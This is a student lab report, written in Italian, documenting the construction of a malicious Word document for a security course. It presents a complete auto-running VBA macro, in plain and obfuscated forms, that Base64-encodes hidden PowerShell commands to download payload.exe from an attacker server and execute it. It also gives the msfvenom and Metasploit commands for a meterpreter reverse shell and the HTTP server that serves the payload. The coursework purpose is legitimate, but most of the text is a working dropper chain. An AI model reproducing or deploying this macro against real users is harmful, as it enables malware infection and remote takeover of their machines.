REPORT DOCUMENTO MALEVOLO

*Nome Cognome Farina Christian*

*Matricola VR501577*

*Email christian.farina@studenti.univr.it*

# COMANDO POWERSHELL

In questa sezione dovete presentare il codice del comando Powershel e le tecniche adottate per codificarlo in base 64.

**COMANDI POWERSHELL**

' Mi collego al server creato con python e scarico il file malevolo

comandoDaEseguire= "(New-Object Net.WebClient).DownloadFile('" & "http://ipattaccante:porta/payload.exe" & "', '" & "percorso\dove\voglio\salvare\virus.exe " & "')"

comandoDaEseguire2= " & 'percorso\dove\è\salvato\virus.exe'"

' Esegui il comando PowerShell per scaricare il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire, 0, True

' Esegui il comando PowerShell per eseguire il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire2, 0, True

**TECNICHE DI CODIFICA**

Per la codifica ho utilizzato due metodi in VBA che codificano stringhe date in input, in un contest reale le stringhe sarebbero state date, direttamente codificate, come input al decodificatore di VBA; tuttavia, per motivi didattici ho inserito I due metodi all’interno del codice del file malevolo, per mostrarne il funzionamento. Il programma infatti esegue I seguenti passaggi:

1 Codifica le stringhe

2 Decodifica le stringhe

3 Esegue I comandi decodificati

**METODI USATI PER CODIFICARE I COMANDI**

' codifica una stringa in input in base 64 e restituisce la stringa codificata

Function EncodeBase64(str As String) As String

Dim objXML As Object

Dim objNode As Object

' Crea un oggetto XML

Set objXML = CreateObject("MSXML2.DOMDocument")

Set objNode = objXML.createElement("b64")

' Imposta il testo del nodo con il comando da codificare

objNode.dataType = "bin.base64"

objNode.nodeTypedValue = stringaABinario(str)

' Restituisci il risultato della codifica base64

EncodeBase64 = objNode.text

' Libera l'oggetto XML

Set objNode = Nothing

Set objXML = Nothing

End Function

' Converte una stringa in input in dati binari

Function stringaABinario(s As String) As Variant

Dim ado As Object

Set ado = CreateObject("ADODB.Stream")

ado.Type = 2 ' adTypeText

ado.Charset = "us-ascii"

ado.Open

ado.WriteText s

ado.Position = 0

ado.Type = 1 ' adTypeBinary

stringaABinario = ado.Read

ado.Close

Set ado = Nothing

End Function

# VBA MACRO

In questa sezione dovete presentare il codice della macro prima che venga offuscato, le tecniche adottate per offuscare il codice e il codice della macro offuscato.

**CODICE MACRO NON OFFUSCATO**

Sub AutoOpen()

Dim codificato As String

Dim codificato2 As String

Dim comandoBase64 As String

Dim comandoDaEseguire As String

Dim comandoDaEseguire2 As String

Dim shell As Object

Set shell = VBA.CreateObject("WScript.Shell")

' comando per scaricare il file malevolo

codificato = EncodeBase64("(New-Object Net.WebClient).DownloadFile('" & "http://192.168.43.209:8000/payload.exe" & "', '" & "C:\Users\malware\Downloads\virus.exe" & "')")

' comando per eseguire il file malevolo

codificato2 = EncodeBase64(" & 'C:\Users\malware\Downloads\virus.exe'")

' Comando PowerShell codificato in base64

comandoBase64 = "IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('BASE64\_ENCODED\_COMMAND')))"

' decodifico i due comandi da base64 a normali

comandoDaEseguire = Replace(comandoBase64, "BASE64\_ENCODED\_COMMAND", codificato)

comandoDaEseguire2 = Replace(comandoBase64, "BASE64\_ENCODED\_COMMAND", codificato2)

' Esegui il comando PowerShell per scaricare il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire, 0, True

' Esegui il comando PowerShell per eseguire il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire2, 0, True

' Rilascio l'oggetto

Set shell = Nothing

End Sub

**CODICE MACRO OFFUSCATO**

Nel codice offuscato ho inserito solo il metodo principale (AutoOpen) passando al decodificatore direttamente le stringhe codificate in base64, in questo modo ho potuto eliminare i due metodi responsabili della codifica delle stringhe. Per offuscare il codice ho usato VBA Obfuscator e ho diviso i comandi powershell in due stringhe, per aumentare la confusione.

Sub AutoOpen()

Dim v38d2edd4076bb66acc2ee1b42bdb2336 As String

Dim vr4573k99768ffgruighfjkgbgvghjjhg As String

Dim ca9d601c97cef483411de079bb9a3419b As String

Dim jytfk6877hnhhjj89ong6rbgfghj66879 As String

Dim m758f0834b3c6499700addb9b25f64906 As Object

Set m758f0834b3c6499700addb9b25f64906 = VBA.CreateObject("WScript.Shell")

jytfk6877hnhhjj89ong6rbgfghj66879 = "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "

v38d2edd4076bb66acc2ee1b42bdb2336 = "IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('BASE64\_ENCODED\_COMMAND')))"

vr4573k99768ffgruighfjkgbgvghjjhg = Replace(v38d2edd4076bb66acc2ee1b42bdb2336, "BASE64\_ENCODED\_COMMAND", "KE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vMTkyLjE2OC40My4yMDk6ODAwMC9wYXlsb2FkLmV4ZScsICdDOlxVc2Vyc1xtYWx3YXJlXERvd25sb2Fkc1x2aXJ1cy5leGUnKQ==")

ca9d601c97cef483411de079bb9a3419b = Replace(v38d2edd4076bb66acc2ee1b42bdb2336, "BASE64\_ENCODED\_COMMAND", "ICYgJ0M6XFVzZXJzXGNyaXN0XERvd25sb2Fkc1x2aXJ1cy5leGUn")

m758f0834b3c6499700addb9b25f64906.Run jytfk6877hnhhjj89ong6rbgfghj66879 & " & " & vr4573k99768ffgruighfjkgbgvghjjhg, 0, True

m758f0834b3c6499700addb9b25f64906.Run jytfk6877hnhhjj89ong6rbgfghj66879 & " & " & ca9d601c97cef483411de079bb9a3419b, 0, True

Set m758f0834b3c6499700addb9b25f64906 = Nothing

End Sub

# INFRASTRUTTURA ATTACCO

In questa sezione dovete presentare le macchine virtuali utilizzate per condurre l’attacco e come sono state configurate.

**ATTACCANTE**

L’attaccante è la macchina Kali Linux usata a lezione con un ip statico, il software utilizzato per creare il server C2 è Metasploit, è stato utilizzato il metodo visto a lezione, di seguito riporto i comandi:

//creo il software malevolo da scaricare nella macchina della vittima

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=ipAttaccante LPORT=porta -f exe > payload.exe

//metto in ascolto il server

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse\_tcp

set LHOST ipAttaccante

set LPORT porta

exploit

// metto in ascolto un altro server per permettere di scaricare il payload malevolo

python -m http.server 8000

**VITTIMA**

La vittima è una macchina Windows 10 con Windows Defender disabilitato e con pacchetto Office installato, per permettere l’apertura del documento Word malevolo. Ho utilizzato la macchina Windows fornita a lezione e ho scaricato il pacchetto Office con l’account accademico. La vittima non ha un ip statico; le due machine sono connesse ad una rete con nat il cui indirizzo è 192.168.43.0/24.